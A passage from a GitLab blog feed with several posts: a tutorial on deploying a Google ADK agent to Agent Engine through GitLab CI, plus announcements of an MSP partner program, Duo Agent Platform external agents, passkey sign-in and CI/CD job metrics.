  - template: Jobs/Dependency-Scanning.gitlab-ci.yml
  - template: Jobs/SAST.gitlab-ci.yml
  - template: Jobs/Secret-Detection.gitlab-ci.yml

deploy-agent:
  stage: deploy
  identity: google_cloud
  rules:
    - if: $CI_COMMIT_BRANCH == &quot;main&quot;
  before_script:
    - gcloud config set core/disable_usage_reporting true
    - gcloud config set component_manager/disable_update_check true
    - pip install -q --no-cache-dir --upgrade pip google-genai google-cloud-aiplatform -r requirements.txt --break-system-packages
  script:
    - gcloud config set project $GCP_PROJECT_ID
    - adk deploy agent_engine 
        --project=$GCP_PROJECT_ID 
        --region=$GCP_REGION 
        --staging_bucket=gs://$STORAGE_BUCKET 
        --display_name=&quot;$AGENT_NAME&quot; 
        $AGENT_ENTRY
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">stages</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#032F62">test
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#032F62">deploy
</span></span><span class="line" line="4"><span emptyLinePlaceholder>
</span></span><span class="line" line="5"><span style="--shiki-default:#22863A">cache</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="6"><span style="--shiki-default:#22863A">  paths</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">.cache/pip
</span></span><span class="line" line="8"><span style="--shiki-default:#22863A">  key</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">${CI_COMMIT_REF_SLUG}
</span></span><span class="line" line="9"><span emptyLinePlaceholder>
</span></span><span class="line" line="10"><span style="--shiki-default:#22863A">variables</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="11"><span style="--shiki-default:#22863A">  GCP_PROJECT_ID</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;&lt;your-project-id&gt;&quot;
</span></span><span class="line" line="12"><span style="--shiki-default:#22863A">  GCP_REGION</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;us-central1&quot;
</span></span><span class="line" line="13"><span style="--shiki-default:#22863A">  STORAGE_BUCKET</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;&lt;your-staging-bucket&gt;&quot;
</span></span><span class="line" line="14"><span style="--shiki-default:#22863A">  AGENT_NAME</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;Canada City Advisor&quot;
</span></span><span class="line" line="15"><span style="--shiki-default:#22863A">  AGENT_ENTRY</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;canada_city_advisor&quot;
</span></span><span class="line" line="16"><span emptyLinePlaceholder>
</span></span><span class="line" line="17"><span style="--shiki-default:#22863A">image</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">google/cloud-sdk:slim
</span></span><span class="line" line="18"><span emptyLinePlaceholder>
</span></span><span class="line" line="19"><span style="--shiki-default:#6A737D"># Security scanning templates
</span></span><span class="line" line="20"><span style="--shiki-default:#22863A">include</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="21"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/Dependency-Scanning.gitlab-ci.yml
</span></span><span class="line" line="22"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/SAST.gitlab-ci.yml
</span></span><span class="line" line="23"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/Secret-Detection.gitlab-ci.yml
</span></span><span class="line" line="24"><span emptyLinePlaceholder>
</span></span><span class="line" line="25"><span style="--shiki-default:#22863A">deploy-agent</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="26"><span style="--shiki-default:#22863A">  stage</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">deploy
</span></span><span class="line" line="27"><span style="--shiki-default:#22863A">  identity</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">google_cloud
</span></span><span class="line" line="28"><span style="--shiki-default:#22863A">  rules</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="29"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#22863A">if</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">$CI_COMMIT_BRANCH == &quot;main&quot;
</span></span><span class="line" line="30"><span style="--shiki-default:#22863A">  before_script</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="31"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">gcloud config set core/disable_usage_reporting true
</span></span><span class="line" line="32"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">gcloud config set component_manager/disable_update_check true
</span></span><span class="line" line="33"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">pip install -q --no-cache-dir --upgrade pip google-genai google-cloud-aiplatform -r requirements.txt --break-system-packages
</span></span><span class="line" line="34"><span style="--shiki-default:#22863A">  script</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="35"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">gcloud config set project $GCP_PROJECT_ID
</span></span><span class="line" line="36"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">adk deploy agent_engine</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="37"><span style="--shiki-default:#032F62">        --project=$GCP_PROJECT_ID</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="38"><span style="--shiki-default:#032F62">        --region=$GCP_REGION</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="39"><span style="--shiki-default:#032F62">        --staging_bucket=gs://$STORAGE_BUCKET</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="40"><span style="--shiki-default:#032F62">        --display_name=&quot;$AGENT_NAME&quot;</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="41"><span style="--shiki-default:#032F62">        $AGENT_ENTRY
</span></span></code></pre><p>The pipeline consists of two stages:</p><p><strong>Test stage</strong> — GitLab&#39;s security scanners run automatically. The included templates provide dependency scanning, static application security testing (SAST), and secret detection without additional configuration.</p><p><strong>Deploy stage</strong> — Uses the ADK CLI to deploy your agent directly to Agent Engine. The staging bucket temporarily holds your application workload before Agent Engine picks it up for deployment.</p><h3 id="key-configuration-notes">Key configuration notes</h3><ul><li>The <code className="">identity: google_cloud</code> directive enables keyless authentication via Workload Identity Federation.</li><li>Security scanners are included as templates, meaning they run by default with no setup required.</li><li>The <code className="">adk deploy agent_engine</code> command handles all the complexity of packaging and deploying your agent.</li><li>Pipeline caching speeds up subsequent deployments by preserving pip dependencies.</li></ul><h2 id="_3-deploy-and-verify">3. Deploy and verify</h2><p>With your pipeline configured:</p><ol><li>Commit your agent code and <code className="">.gitlab-ci.yml</code> to GitLab.</li><li>Navigate to <strong>Build &gt; Pipelines</strong> to monitor execution.</li><li>Watch the test stage complete security scans.</li><li>Observe the deploy stage push your agent to Agent Engine.</li></ol><p>Once the pipeline succeeds, verify your deployment in the Google Cloud Console:</p><ol><li>Navigate to <strong>Vertex AI &gt; Agent Engine</strong>.</li><li>Locate your deployed agent.</li><li>Note the <strong>resource name</strong> — you&#39;ll need this for testing.</li></ol><h2 id="_4-test-your-deployed-agent">4. Test your deployed agent</h2><p>Test your agent using a curl command. You&#39;ll need three pieces of information:</p><ul><li><strong>Agent ID</strong>: From the Agent Engine console (the resource name&#39;s numeric identifier)</li><li><strong>Project ID</strong>: Your Google Cloud project</li><li><strong>Location</strong>: The region where you deployed (e.g., <code className="">us-central1</code>)</li></ul><pre className="language-bash shiki shiki-themes github-light" code="PROJECT_ID=&quot;&lt;your-project-id&gt;&quot;
LOCATION=&quot;us-central1&quot;
AGENT_ID=&quot;&lt;your-agent-id&gt;&quot;
TOKEN=$(gcloud auth print-access-token)

curl -X POST \
  -H &quot;Authorization: Bearer $TOKEN&quot; \
  -H &quot;Content-Type: application/json&quot; \
  &quot;https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines/${AGENT_ID}:streamQuery&quot; \
  -d &#39;{
    &quot;input&quot;: {
      &quot;message&quot;: &quot;I make $85,000 per year and I prefer cities with mild winters and a vibrant cultural scene. I also want to be near the coast if possible. What Canadian cities would you recommend?&quot;,
      &quot;user_id&quot;: &quot;demo-user&quot;
    }
  }&#39; | jq -r &#39;.content.parts[0].text&#39;
" language="bash" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">PROJECT_ID</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-project-id&gt;&quot;
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">LOCATION</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;us-central1&quot;
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">AGENT_ID</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-agent-id&gt;&quot;
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">TOKEN</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E">$(</span><span style="--shiki-default:#6F42C1">gcloud</span><span style="--shiki-default:#032F62"> auth</span><span style="--shiki-default:#032F62"> print-access-token</span><span style="--shiki-default:#24292E">)
</span></span><span class="line" line="5"><span emptyLinePlaceholder>
</span></span><span class="line" line="6"><span style="--shiki-default:#6F42C1">curl</span><span style="--shiki-default:#005CC5"> -X</span><span style="--shiki-default:#032F62"> POST</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="7"><span style="--shiki-default:#005CC5">  -H</span><span style="--shiki-default:#032F62"> &quot;Authorization: Bearer </span><span style="--shiki-default:#24292E">$TOKEN</span><span style="--shiki-default:#032F62">&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="8"><span style="--shiki-default:#005CC5">  -H</span><span style="--shiki-default:#032F62"> &quot;Content-Type: application/json&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="9"><span style="--shiki-default:#032F62">  &quot;https://${</span><span style="--shiki-default:#24292E">LOCATION</span><span style="--shiki-default:#032F62">}-aiplatform.googleapis.com/v1/projects/${</span><span style="--shiki-default:#24292E">PROJECT_ID</span><span style="--shiki-default:#032F62">}/locations/${</span><span style="--shiki-default:#24292E">LOCATION</span><span style="--shiki-default:#032F62">}/reasoningEngines/${</span><span style="--shiki-default:#24292E">AGENT_ID</span><span style="--shiki-default:#032F62">}:streamQuery&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="10"><span style="--shiki-default:#005CC5">  -d</span><span style="--shiki-default:#032F62"> &#39;{
</span></span><span class="line" line="11"><span style="--shiki-default:#032F62">    &quot;input&quot;: {
</span></span><span class="line" line="12"><span style="--shiki-default:#032F62">      &quot;message&quot;: &quot;I make $85,000 per year and I prefer cities with mild winters and a vibrant cultural scene. I also want to be near the coast if possible. What Canadian cities would you recommend?&quot;,
</span></span><span class="line" line="13"><span style="--shiki-default:#032F62">      &quot;user_id&quot;: &quot;demo-user&quot;
</span></span><span class="line" line="14"><span style="--shiki-default:#032F62">    }
</span></span><span class="line" line="15"><span style="--shiki-default:#032F62">  }&#39;</span><span style="--shiki-default:#D73A49"> |</span><span style="--shiki-default:#6F42C1"> jq</span><span style="--shiki-default:#005CC5"> -r</span><span style="--shiki-default:#032F62"> &#39;.content.parts[0].text&#39;
</span></span></code></pre><p>If everything is configured correctly, your agent will respond with personalized city recommendations based on the budget and lifestyle preferences provided.</p><h2 id="security-benefits-of-this-approach">Security benefits of this approach</h2><p>This deployment pattern provides several security advantages:</p><ul><li><strong>No long-lived credentials</strong>: Workload Identity Federation eliminates service account keys entirely.</li><li><strong>Automated vulnerability scanning</strong>: Every deployment is scanned before reaching production.</li><li><strong>Complete audit trail</strong>: GitLab maintains full visibility of who deployed what and when.</li><li><strong>Principle of least privilege</strong>: Fine-grained IAM roles limit access to only what&#39;s needed.</li></ul><h2 id="summary">Summary</h2><p>Deploying AI agents to production doesn&#39;t have to be complex. By combining GitLab&#39;s DevSecOps platform with Google Cloud&#39;s Agent Engine, you get:</p><ul><li>A managed runtime that handles scaling and infrastructure</li><li>Built-in security scanning without additional tooling</li><li>Keyless authentication via native cloud integration</li><li>A streamlined deployment process that fits modern AI development workflows</li></ul><p>Watch the full demo:</p><figure className="video_container"> <iframe src="https://www.youtube.com/embed/sxVFa2Mk-x4?si=Oi3cUjhgd7FT2yEd" frameBorder="0" allowFullScreen="true" title="Deploy AI Agents to Agent Engine with GitLab"> </iframe> </figure><blockquote><p>Ready to try it yourself? Use this tutorial&#39;s <a href="https://gitlab.com/gitlab-partners-public/google-cloud/demos/agent-engine-demo" rel="">complete code example</a> to get started now. Not a GitLab customer yet? Explore the DevSecOps platform with <a href="https://about.gitlab.com/free-trial/" rel="">a free trial</a>.</p></blockquote><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Regnard Raquedan</name>
            <uri>https://about.gitlab.com/blog/authors/regnard-raquedan/</uri>
        </author>
        <published>2026-02-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Introducing the GitLab Managed Service Provider (MSP) Partner Program]]></title>
        <id>https://about.gitlab.com/blog/introducing-the-gitlab-managed-service-provider-msp-partner-program/</id>
        <link href="https://about.gitlab.com/blog/introducing-the-gitlab-managed-service-provider-msp-partner-program/"/>
        <updated>2026-02-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><em>This blog is written for managed service providers (MSPs) looking to build a GitLab practice. If you’re a developer or engineering leader, this is the program that can empower the partners who help teams like yours scale and move faster.</em></p><p>Many organizations know they need a modern DevSecOps platform. What they often don&#39;t have is the bandwidth to deploy, manage, and continuously optimize one while shipping software at the pace the business demands. That&#39;s a real opportunity for MSPs, and now GitLab has a defined program to support them.</p><p>We&#39;re excited to introduce the <strong>GitLab MSP Partner Program</strong>, a new global program that enables qualified MSPs to deliver GitLab as a fully managed service to their customers.</p><h2 id="why-this-matters-for-partners-and-customers">Why this matters for partners and customers</h2><p>For the first time, GitLab has a formally defined, globally available program built specifically for MSPs. This means clear requirements, structured enablement, dedicated support, and real financial benefits, so partners can confidently invest in building a GitLab managed services practice.</p><p>The timing is right. Organizations are accelerating their DevSecOps journeys, but many are navigating complex migrations, sprawling toolchains, and growing security requirements on top of their core work of building and shipping software.</p><p>GitLab MSP partners handle the operational side of running the platform, including deployment, migration, administration, and ongoing support, so development teams can stay focused on what they do best.</p><h2 id="what-msp-partners-get">What MSP partners get</h2><p><strong>Financial benefits</strong>: MSP partners earn GitLab partner margins plus an additional MSP premium on all transactions, new business, and renewals. You also retain 100% of the service fees you charge customers for deployment, migration, training, enablement, and strategic consulting. That&#39;s multiple recurring revenue streams built around a single platform.</p><p><strong>Enablement and education</strong>: Partners have access to quarterly technical bootcamps covering version updates, new features, best practices, ongoing roadmap updates, and peer sharing. Recommended cloud certifications (AWS Solutions Architect Associate, GCP Associate Cloud Engineer) round out the technical foundation.</p><p><strong>Go-to-market support</strong>: MSPs receive a GitLab Certified MSP Partner badge, co-brandable assets, eligibility for joint customer case studies, a Partner Locator listing, and access to Marketing Development Funds (MDF) for qualified demand generation activities.</p><h2 id="what-customers-can-expect">What customers can expect</h2><p>Customers working with a GitLab MSP partner get a structured, managed DevSecOps experience, documented and repeatable implementation methodologies, regular business reviews, and support with clearly defined response and escalation paths.</p><p>The result: Development teams can stay focused on building great software while their MSP partner focuses on running and optimizing the platform.</p><h2 id="a-new-opportunity-around-ai">A new opportunity around AI</h2><p>Organizations are increasingly looking to safely introduce AI into their software development workflows, and even experienced teams can benefit from a structured approach to rolling it out at scale. GitLab MSP partners are well-positioned to guide customers through GitLab Duo Agent Platform as part of a broader managed services offering.</p><p>By combining GitLab&#39;s DevSecOps platform with MSP-delivered operational expertise, customers can experiment with AI-assisted workflows in a governed environment, meet data residency and compliance requirements, and scale AI adoption across teams without overburdening internal resources.</p><h2 id="is-this-right-for-your-business">Is this right for your business?</h2><p>The GitLab MSP Partner Program is a strong fit if you:</p><ul><li>Already deliver managed services in cloud, infrastructure, or application operations</li><li>Want to add high-value DevSecOps to your portfolio</li><li>Have or want to build technical talent interested in modern development platforms</li><li>Prefer long-term customer relationships over one-time transactions</li></ul><p>If you&#39;re already a GitLab Select and Professional Services Partner, the MSP program gives you a structured way to turn your existing expertise into a repeatable managed offering.</p><h2 id="getting-started">Getting started</h2><p>The program launches with the <strong>Certified MSP Partner</strong> designation. There&#39;s no minimum ARR or customer count required to join. Here&#39;s how the path looks:</p><ol><li><strong>Confirm fit</strong> - Verify you meet the business and technical requirements outlined in the <a href="https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program" rel="">handbook page</a>.</li><li><strong>Apply via the GitLab Partner Portal</strong> - Submit your application with business and technical documentation.</li><li><strong>Complete 90-day onboarding</strong> - A structured onboarding journey covers contracts, technical enablement, sales training, and your first customer engagement.</li><li><strong>Launch your managed offering</strong> - Package your services, set your SLAs, and begin engaging customers.</li></ol><p>Completed applications are reviewed within approximately three business days.</p><blockquote><p>Interested in building a GitLab managed services practice? New partners can apply <a href="https://about.gitlab.com/partners/" rel="">to become a GitLab Partner</a>. Existing partners can reach out to your GitLab representative to learn more about the program and tell us about the solutions you&#39;re currently offering customers through your MSP practice!</p></blockquote>]]></content>
        <author>
            <name>Karishma Kumar</name>
            <uri>https://about.gitlab.com/blog/authors/karishma-kumar/</uri>
        </author>
        <published>2026-02-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Duo Agent Platform with Claude accelerates development]]></title>
        <id>https://about.gitlab.com/blog/gitlab-duo-agent-platform-with-claude-accelerates-development/</id>
        <link href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-with-claude-accelerates-development/"/>
        <updated>2026-02-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Modern software development teams face a critical challenge: How do you maintain velocity while ensuring code quality, security, and consistency across complex projects?</p><p>While AI coding assistants have accelerated individual developer productivity, they often operate in isolation from the broader development workflow. This disconnect forces developers to context-switch between tools, manually translate AI suggestions into actionable code, and spend valuable time on repetitive tasks that could be automated.</p><p><a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">GitLab Duo Agent Platform</a> solves this problem by enabling seamless integration with external AI models like Anthropic&#39;s Claude, OpenAI&#39;s Codex, and others.</p><p>By creating external agents within GitLab Duo Agent Platform, organizations can customize AI capabilities for their specific needs, workflows, and standards while keeping everything within the familiar GitLab environment. These agents understand your project context, follow your coding standards, and can autonomously complete complex, multi-step tasks — from initial idea to production-ready code.</p><p>Watch this video demonstration and follow along below:</p><figure className="video_container">
  <iframe src="https://www.youtube.com/embed/BPmoVCeyWJA?si=50ktjKxPUNpicXve" frameBorder="0" allowFullScreen="true"> </iframe></figure><h2 id="real-world-use-cases">Real-world use cases</h2><p>Here are three powerful use cases that illustrate how external agents transform the development lifecycle:</p><h3 id="_1-from-idea-to-code">1. From idea to code</h3><p>Starting with nothing more than an empty project and a detailed issue description, the external agent (in this case, Claude) takes complete ownership of application development. In this use case, the issue title is the desired application and the issue description lists its specifications.</p><p>The agent reads the context, e.g. project information, related assets, etc., and analyzes the requirements detailed in the issue, generates a full-stack Java web application with appropriate UI components, implements the business logic with specified interest rates, and creates a merge request with all the code ready for review.</p><p>The generated application includes backend Java classes, frontend HTML/CSS/JavaScript files, and build configuration — all following the specifications in the original issue. Teams can then test the application locally, verify functionality, and continue iterating with the agent through natural conversation.</p><p><img alt="Issue detailing requirements of application" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/irzlmm0gukanjt7ryq9b.png" title="Issue detailing requirements of application" /></p><p><img alt="Prompt for external agent to create a merge request with application implementation" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/ajr6nquefob7lefdcxng.png" title="Prompt for external agent to create a merge request with application implementation" /></p><p><img alt="External agent implementation complete" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/gbwwawybg9u4jzibuurw.png" title="External agent implementation complete" /></p><p><img alt="Newly created application by external agent" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/rijlwchqo1zytp842bld.png" title="Newly created application by external agent" /></p><p><img alt="Building and running application locally" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058386/aycpfxa0mdbfbxf2ydu3.png" title="Building and running application locally" /></p><p><img alt="Testing application locally" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058388/rxlvwmzlx8vor92qhotl.png" title="Testing application locally" /></p><h3 id="_2-code-review">2. Code review</h3><p>Quality assurance doesn&#39;t stop at code generation. In the second use case, the same external agent performs a comprehensive code review of the application it created. By mentioning the agent in a merge request comment, teams receive detailed analysis including code strengths, critical issues, medium-priority concerns, minor improvements, security assessments, testing notes, code metrics, and recommendations with an approval status. This automated review process ensures consistency and catches potential issues before they reach production, while freeing up senior developers to focus on architectural decisions rather than routine code inspection.</p><p><img alt="Requesting a code review from the external agent" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/ri7x5qkx9bfnidfn8gx1.png" title="Requesting a code review from the external agent" /></p><p><img alt="Code review results from the external agent" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/trdamdekrnvkbnfz0twg.png" title="Code review results from the external agent" /></p><h3 id="_3-create-pipeline-to-build-container-image">3. Create pipeline to build container image</h3><p>The final use case addresses a common gap: deployment automation. When the merge request lacks a CI/CD pipeline, teams can simply ask the external agent to create one. The agent generates a complete pipeline configuration that builds the application, creates a Dockerfile using appropriate base images matched to the project&#39;s Java version, builds a Docker image, and deploys it to GitLab&#39;s built-in container registry. The pipeline runs automatically, proceeding through build, Docker image creation, and registry deployment stages — all without manual configuration or intervention.</p><p><img alt="Prompt for external agent to create a pipeline and container image" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/bwqipksewm1hejuycwqh.png" title="Prompt for external agent to create a pipeline and container image" /></p><p><img alt="Newly created pipeline and Dockerfile files created by external agent" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/agyr8hhc1vax7aarsxoj.png" title="Newly created pipeline and Dockerfile files created by external agent" /></p><p><img alt="Newly created pipeline successful run" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/cdm4mye5edkpemedpxts.png" title="Newly created pipeline successful run" /></p><p><img alt="Newly created container image as a result from running pipeline" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/bifx71xz9k7vedbo9xl3.png" title="Newly created container image as a result from running pipeline" /></p><h2 id="summary">Summary</h2><p>GitLab Duo Agent Platform with external agents represents a fundamental shift in how organizations approach software development. By addressing the core problem of isolated AI tools and fragmented workflows, external agents bring intelligent automation directly into the platforms teams already use. Rather than treating AI as a separate coding assistant, Duo Agent Platform integrates external models like Claude seamlessly into your GitLab workflow, enabling agents to understand full project context, adhere to organizational standards, and autonomously handle complex tasks across the entire development lifecycle.</p><p>The value proposition is clear: Development teams accelerate delivery timelines, maintain consistent code quality, reduce repetitive work, and free up senior engineers to focus on innovation rather than routine tasks. From generating production-ready code based on issue descriptions to performing thorough code reviews and automating deployment pipelines, external agents become trusted collaborators that understand your organization&#39;s unique needs and standards.</p><p>Discover how your team can ship faster, maintain higher quality, and stay in flow throughout the entire software development lifecycle. <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">Try GitLab Duo Agent Platform today</a>. Then, dig into our <a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-complete-getting-started-guide/" rel="">&quot;Getting started with GitLab Duo Agent Platform&quot; guide</a>.</p>]]></content>
        <author>
            <name>Cesar Saavedra</name>
            <uri>https://about.gitlab.com/blog/authors/cesar-saavedra/</uri>
        </author>
        <published>2026-02-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Passkeys now available for passwordless sign-in and 2FA on GitLab]]></title>
        <id>https://about.gitlab.com/blog/passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab/</id>
        <link href="https://about.gitlab.com/blog/passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab/"/>
        <updated>2026-02-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Passkeys are now available on GitLab, and offer a more secure and convenient way to access your account. You can use passkeys for passwordless sign-in or as a phishing-resistant two-factor authentication (2FA) method. Passkeys offer the ability to authenticate using your device&#39;s fingerprint, face recognition, or PIN. For accounts with 2FA enabled, passkeys automatically become available as your default 2FA method.</p><figure className="video_container"> <iframe src="https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv" title="Passwordless authentication using passkeys" frameBorder="0" allowFullScreen="true"></iframe> </figure><p><br /><br /></p><p>To register a passkey to your account, go to your profile settings and select <strong>Account &gt; Manage authentication</strong>.</p><p>Passkeys use WebAuthn technology and public-key cryptography made up of both a private and public key. Your private key stays securely on your device and never leaves, while your public key is stored on GitLab. Even if GitLab were to become compromised, attackers cannot use your stored credentials to access your account. Passkeys work across desktop browsers (Chrome, Firefox, Safari, Edge), mobile devices (iOS 16+, Android 9+), and FIDO2 hardware security keys, allowing you to register multiple passkeys across your devices for convenient access.</p><p><img alt="Passkeys sign-in with two-factor authentication" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png" /></p><p>GitLab signed the <a href="https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/" rel="">CISA Secure by Design Pledge</a>, committing to improve our security posture and help customers develop secure software faster. One key objective of the pledge is to  increase the use of  <a href="https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/#multi-factor-authentication-mfa" rel="">multi-factor authentication (MFA)</a> across the manufacturer’s products. Passkeys are an integral part of this goal, and provide a seamless, phishing-resistant MFA method that makes signing in to GitLab both more secure and more convenient.</p><p>If you have questions, want to share your experience, or would like to engage directly with our team about potential improvements, see the <a href="https://gitlab.com/gitlab-org/gitlab/-/work_items/366758" rel="">feedback issue</a>.</p>]]></content>
        <author>
            <name>GitLab</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab/</uri>
        </author>
        <published>2026-02-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[New GitLab metrics and registry features help reduce CI/CD bottlenecks]]></title>
        <id>https://about.gitlab.com/blog/new-gitlab-metrics-and-registry-features-help-reduce-ci-cd-bottlenecks/</id>
        <link href="https://about.gitlab.com/blog/new-gitlab-metrics-and-registry-features-help-reduce-ci-cd-bottlenecks/"/>
        <updated>2026-02-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Platform and DevOps engineers spend too much time piecing together visibility across fragmented tools and managing infrastructure that should just work.</p><p>Two new GitLab features currently in beta tackle this from different angles but share the same goal: giving practitioners direct control over the CI/CD infrastructure they depend on, without adding another third-party tool. One surfaces job-level performance data right where you monitor pipelines. The other simplifies how you pull container images from multiple registries with built-in caching.</p><p>Both features are open for feedback now. Your input will help shape what ships next.</p><h2 id="cicd-job-performance-metrics">CI/CD Job Performance Metrics</h2><ul><li><strong>Available tiers:</strong> GitLab Premium, GitLab Ultimate</li><li><strong>Status:</strong> Limited-availability beta on GitLab.com; available on GitLab Self-Managed and GitLab Dedicated when ClickHouse is configured</li></ul><p>Today, there’s no simple way to see when a particular job’s duration starts increasing or which jobs are quietly dragging down your pipeline runtimes. Most teams either build custom dashboards or manually dig through logs to answer basic questions like:</p><ul><li>Which jobs are slowest?</li><li>Where are failure rates climbing?</li><li>Which stage is the real bottleneck?</li></ul><p>CI/CD Job Performance Metrics changes that by adding a new job-focused panel to the CI/CD analytics page at the project level.</p><p>For each job in your pipelines, you can see:</p><ul><li>Typical (P50, median) and worst‑case (P95) job duration, so you can quickly view normal versus slowest runs</li><li>Failure rate, so you can spot fragile or flaky jobs</li><li>Job name and stage, covering the last 30 days by default</li></ul><p>The table is sortable, searchable by job name, and paginated, so platform teams get a single view to answer questions that previously required separate tools or custom reporting.</p><p><strong>Try it now</strong></p><ul><li>Navigate to your project and select <strong>Analyze &gt; CI/CD analytics</strong>.</li><li>Look for the CI/CD job performance metrics panel and sort by duration or failure rate to find your slowest or least reliable jobs.</li></ul><p><strong>Documentation</strong></p><ul><li><a href="https://docs.gitlab.com/user/analytics/ci_cd_analytics/#cicd-job-performance-metrics" rel="">CI/CD analytics – CI/CD job performance metrics</a></li></ul><p><strong>What’s coming next</strong></p><p>We’re working on stage-level grouping, so you can view aggregated metrics across your build, test, and deploy stages, and quickly understand where to focus optimization work.</p><p><strong>Share your feedback:</strong></p><ul><li><a href="https://gitlab.com/groups/gitlab-org/-/work_items/18548" rel="">CI/CD job performance metrics epic</a></li></ul><h2 id="container-virtual-registry">Container Virtual Registry</h2><p><strong>Tier:</strong> GitLab Premium, GitLab Ultimate
